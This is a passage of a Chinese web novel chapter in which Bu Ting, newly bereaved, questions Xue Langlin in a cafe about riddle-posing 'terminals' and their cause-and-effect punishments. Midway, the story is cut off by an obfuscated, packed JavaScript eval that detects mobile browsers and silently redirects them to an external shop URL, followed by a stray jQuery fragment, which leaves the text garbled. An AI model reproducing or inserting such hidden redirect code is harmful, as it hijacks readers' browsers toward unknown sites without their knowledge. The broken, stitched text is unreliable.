越风泽:“小听,为什么那么执着要回国呢?”
“因为爸爸妈妈本来就有回国的打算,我想继承他们遗愿回国发展。”
布听童年曲折坎坷,造就她这外热内冷的性子。
兄长越风泽因继承家业和本职工作忙得分身乏术,虽然在经济上给予了布听充足的支持,但情感需求上无可避免地缺失了。
她也很懂事地并没有让兄长为自己烦恼,自从养父母不在人世以后她所遭受到的歧视和挑衅,就算用行动和言语反击也无法更改他们此刻已不在人世的事实。
她故意装作听不懂那些语言,用厚重的壳将自己包裹起来。
整日忍受着异样的人种歧视,所以她才萌生出回国发展的想法,在无人认识的地方如同一滴融入大海的水重新开始生活。
她来到临海的天新市,谁都不认识她,她得以在此地愉快而清闲地生活,不被人戴上有色眼镜评价。
独自踏上回国的飞机,她用力地朝那个熟悉的身影招手。
“哥,我就只剩下你了,一定要保重好身体啊!”
此刻那个身影越来越远,和已经离去的养父母重叠在一起。
她不能…绝不能在这个时候垮下去,至少要抓到那个杀害养父母的罪犯并将其绳之以法…
她靠在薛浪麟怀里满眼泪水,睁眼醒来,身旁服务员小姐一脸慌张地抱着一大桶冰。
“冰块和白砂糖还够吗?如果不够店里还有很多!”
薛浪麟:“谢谢你,这些就够了,她已经醒过来了。”
【剩余作答时间:24:30:25】
平板上的数字在她视线逐渐消失前减少了六分钟。
布听脸色苍白,眼前发花,视线一点点被黑暗笼罩。
舌根下是一团化开的甜水,薛浪麟为了缓解她的症状给她喂了一条白砂糖。
身旁薛浪麟沉声道:“你刚刚低血糖晕过去了。”
也对,她没吃晚餐,午餐只是随便抓了个面包对付的,还一身正装承受着高温闷着接连承受刺激打击。
布听压抑到极致的情绪和委屈此刻如洪水决堤,在这僻静的地方通通爆发出来,顾不得失态捂着脸痛哭出声。
“我没有亲人了,这世上真的只有我一个人了!”
服务员小姐闻言露出几分同情,抱着冰桶默然无声地回到工作岗位上。
顾不得两人相见的方式尤其古怪,薛浪麟见着她伤心欲绝的样子终究还是将布听揽进怀里轻拍着她的背出声安慰。
“会好起来的。”
不多时,服务员小姐端着一杯乳白色饮品来到两人面前。
“这是店里准备新推出的新品,甜沫奶昔,免费赠送,请您先尝尝看,夏季炎热请您好好注意身体。”
“谢谢。”
薛浪麟礼貌道谢,插上吸管递到布听唇边,“喝点甜饮有助于思考。”
“谢谢。”布听没有拒绝,她此刻的确需要思考,就着吸管猛地灌下一大口。
冰凉甜腻的液体洗刷着她的精神,效果很不错,醍醐灌顶。
“稍等我一会。”
布听从挎包里掏出纸巾将泪水擦干,取出手机充电宝连接手机,手指翻飞在屏幕上敲击起来。
短短几分钟内,她几乎是瞬间进入了另一个工作姿态。
连薛浪麟都不得不暗自感叹她情绪释放和态度的转变简直像是切换表里人格。
刚刚她拨打请假电话时,薛浪麟背过身去时有心注意听了几句。
家里发生这么严重的事,她竟然只打算请一天假。
一天二十四小时的确能完成很多事,但情绪却很难在一天之内彻底消解,除非她心理足够强大。
或者她说已经不止一次经历过这种事了。
布听没有避开他的视线,用手机现场编辑请假条。
薛浪麟余光快扫过署名,杜莱因。
在脑海里搜索了一番后确定自己对这个类似外国人名的署名并没有印象。
布听将内容默读一遍后点击确认发送。
她又端起自己点的浓缩咖啡给自己灌了一大口,面无表情地任由苦涩冲击情绪,顾不得眼角微红,布听率先步入正题,抬眼看他:“这位能精确到我住在哪个单元的哪一层的陌生人,你是如何精确到我这台高阶终端的位置的呢?”
薛浪麟倒能理解她这么问的原因,他已经调查到了布听的家庭信息,如她所哭诉的那样,她只剩自己。
两个陌生人彼此也只是知道名字而已。
“你怀疑我是纵火的幕后元凶?”
布听揉了揉眼睛,将沾在睫毛上的泪水彻底擦拭干净。
“谁知道呢,我没有理由相信一个完全不认识的人。”
“保持这样的警惕很好。”薛浪麟掀开自己黑色的护腕,他的终端是一块黑色的腕表。
他用指尖点击,屏幕范围有限,三指宽的屏幕显示着三串细长的红色数字。
布听探过头,心中默数小数点后的位置,瞳孔放大,迅速打开手机地图确认什么,不一会儿她惊诧道:“是经纬度坐标?还精确到小数点的后五位?它在实时透露我的坐标位置?!”
她比薛浪麟意料中更快猜对了这串数字的含义。
恶魔高阶终端的拥有者是位理智的高知女性。
经纬度精确到小数点后五位,误差大概只有一米左右。
薛浪麟补充道:“不是你的位置,是你终端的位置。”
布听又打开手机计算器。
“难道最后一串三十三开头的数字是具体海拔高度吗?本市临海,按层高两米八计算.....十三楼离地高度为三十三米九,而我的茶几大概高四十厘米。”
在计算出十三楼的大概高度后加上茶几高度,得到了误差很小的答案。
这无限接近终端放在茶几上的离地高度。
此刻她也不想纠结薛浪麟是怎么爬上她那层的高度。
终端和人可以移动,而房子却是锁死动不了的。
如果地球能作为一个小型模具被剥离出来,那么她家一定也能像那样被局部地剥离出来。
布听有些担心:“它现在还在实时暴露我的位置吗?”
“它只发布了一次,惩罚的力度会根据完成程度变化。”
“也就是说,如果在这上面的倒计时结束之前我并未作答,我将会接受新的惩罚。”
薛浪麟点点头。
布听:“那么答题发布时间,和作答时间都是固定的吗?”
薛浪麟:“我无法确定,目前从我实践的情况来看,它带有很高的随机性,题目难度也是如此。”
人如何在上千度的环境中存活?
这道题看起来更像脑筋急转弯,难度适中。
要是上升到科学领域的数学公式或是物理定律,那她恐怕就只能坐在这干瞪眼等死了。
而布听明确地记得,前两个问题根本没有这个时间倒计时。
初步出现的倒计时是从本次答题开始的。
答题期间,平板应有的其他功能并不受影响。
薛浪麟将腕表藏回护腕中,他的终端很小方便隐藏。
不像自己的平板有将近十寸屏幕,她好奇地问:“为什么我的是个平板,而你的是腕表?终端能换设备端口吗?”
“如果终端原型机遭到外力损坏,终端是有可能移植到另一台电子仪器上的。”
“你实践过?”
薛浪麟点头道:“有未知能力在保护这块器械,普通的外力没那么容易对其造成损坏。”
原来如此,终端硬度也是MAX级别。所以她那时拿平板挡刀时,才会连一丝划痕都没有。
布听并不打算向薛浪麟吐露她在白天的空档中已经按照终端的作答流程完全进行过一次回答和实践。
布听继续提问:“那我住房内部高温到底怎么造成的?是终端提问和作答所导致的因果吗?”
结合她所作答的第一题来看,住房无缘无故自燃肯定与终端所造成的因果有关。
“室内增温的具体成因目前还不得而知,但我可以告诉你终端的基本法则。”
薛浪麟沉声而缓慢地解释,确保她能听清楚每个字。
“在认定作答有效和执行作答的途中,因果会持续进行,而这个执行过程是没有时间限制的。”
薛浪麟抽出他自己那杯气泡水中的塑料吸管,将其对折。
“就好比我手中这根吸管,假如我所要执行的问答是折断它,那么此刻,正在折叠的部分是在实时发生的,它的变化对现世产生了实质性影响。”
而后,他松开了吸管,让空气从吸管之中再度流动,吸管因弹性恢复
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713016|208463||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成先前的样子,并没有被折断,这也代表着薛浪麟需要进行的任务并没有完成。
“在我彻底折断它之前,这个过程可以反复进行,并没有限定时间。”
因并没有得到果。
整个过程被持续延长,导致现实也继承了因带来的影响状态。
布听恍然大悟:“原来如此,我在那一瞬间直接拒绝作答,所以我才获得了惩罚导致我的位置被公布出去了吗?”
她想了想又问道:“那么高阶终端的高阶体现在哪?”
薛浪麟:“拥有更高的优先级,它可以强制阻断外界对你施加的因果。”
她明白了。
原因未知的室内逐步增温将她热醒,她优先级更高的“把地球放进冰箱需要几步”的作答过程正在进行,将其他因果对现实造成的影响强制阻断。
她的房间因此停止温度飙升。
薛浪麟将自己折过的吸管直接丢进垃圾桶,布听对他的普通终端起了几分兴趣:“那方便让我知道你上一个问答问题是什么吗?”
薛浪麟倒是没有遮掩,干脆地告诉她:“人在什么情况下速度能超过狂风?”
布听沉默思考了三秒后给出了解答。
“坠楼的时候。”
薛浪麟没有否认她的回答,淡定地道:“假设人坠楼的速度的确能够超过狂风,但问题是你的执行作答需要复刻你所作出的回答。”
坠楼的确有可能超过风速,但人从高空坠落不死也会重伤,所以不会是回答的最佳答案。
薛浪麟的作答是骑乘载具。
布听:“所以答案不止一种,回答甚至可以是理论上成立的脑筋急转弯,但是作答过程是需要根据我的回答实施进行作答,完成不了就将判定为问答失败。”
薛浪麟:“对,你注意到了么,终端所给你的回答是认定作答有效,作为有效回答的答案有多种,而你需要选择其中对自己最有利的那种进行作答。”
布听脑袋中灵光一闪,她突然察觉到了其中藕断丝连的因果联系。
先前那两阵狂风是自己亲手造成的,而薛浪麟的问答恰好与狂风有关。
“难道你来我家之前就骑乘着载具在与狂风赛跑?!”
薛浪麟点了下头。
也就是说在风止歇后的数分钟内,薛浪麟驾驶着超速行驶的载具一路风驰电掣抵达她所在的住宅楼下,并根据海拔位置确认了她的楼层,从外部攀进她的阳台确认她的安危。
那前后总不过几分钟时间就完成了一系列事情,她不禁怀疑眼前这个表情一脸淡漠的男人真的是人类吗?
想起因狂风受灾的人,布听心底难受低声道:“可是那两阵风就是我无意中造成的,为此还造成了市内不少的人员伤亡....”
薛浪麟只是开解她:“这样至少比让世界实打实经历一次冰河世纪要好,八分钟后太阳消失,人类社会将彻底坠入黑暗,全世界的能源供应失衡,两阵飓风罢了,每年自然灾害带走的人类都不止这个数。”
布听:“你别这么劝我,更让人难受了,地球爆炸了我是罪魁祸首,这让我上断头台参观顺带问我要不要体验一下有什么区别?”
薛浪麟耸了耸肩膀:“你是个以理智行事的人,之后的答题过程我会尽可能帮你脱离被动答题的境地。”
布听无可奈何道:“说到底你还是想要我手中这个终端吧。”
“那是在无法控制的局面下,我会尽量保证它在我的手里。”
“哪怕以牺牲我为前提?”
薛浪麟不置可否,这是一个残忍现实的问题。
牺牲个人利益换取全体利益,如果这个人是他自己,他毫不犹豫。可一旦眼前这位女士不愿意,那么他就只能提前做好最坏的打算。
布听此刻表情平静:“你说我的高阶终端的对应身份是恶魔,那么其他高阶终端的是什么?”
薛浪麟:“我想其他终端应该对应着七种混沌势力的代表。”
“分别为恶魔,黑骑士,女巫,狼人,堕天使,亡灵以及吸血鬼。”
“可这些不是隔壁文明的特产吗?”
薛浪麟:“这世间的因果不会因为国界而消失。”
她叹了口气,沉默片刻,冷静地凑在薛浪麟耳边低声道:“不管间接害死我兄长的终端持有者是谁,我要那个人下地狱。”